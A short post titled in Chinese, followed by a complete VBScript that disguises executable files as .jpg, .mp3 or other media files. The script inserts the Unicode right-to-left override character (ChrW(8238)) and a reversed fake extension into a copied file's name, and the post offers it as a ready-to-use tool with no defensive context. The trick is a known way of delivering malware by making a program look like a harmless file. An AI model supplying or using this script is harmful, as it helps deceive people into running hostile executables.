通过VBS脚本伪装exe程序，修改文件名让其显示为.jpg,.mp3等格式

-------------------------------------分割线-----------------------------------------

Call Spoof
Sub Spoof()
dim filePath,fileName,exten,FileLen,revExten,dest,NewFileName
set fs = CreateObject("Scripting.FileSystemObject")
filePath=inputbox("手动输入需要伪装的文件路径：")
exten=inputbox("输入伪装程序的后缀名" & vbCrlf & _
"例如: .jpg, .mp3 , .avi , etc..")
fileName=fs.GetFileName(filepath)
filePath=fs.GetParentFolderName(filepath)
FileLen=Len(fileName)-4
Dim spclChar
spclChar = ChrW(8238)
revExten=StrReverse(exten)
NewFileName=inputbox("输入新文件名，最长五个字符")
dest=NewFileName & spclChar & revExten & mid(fileName,FileLen+2)

fs.copyFile filePath & "\" & Filename,filePath & "\" & dest
msgbox "执行程序伪装成功！",vbInformation
end sub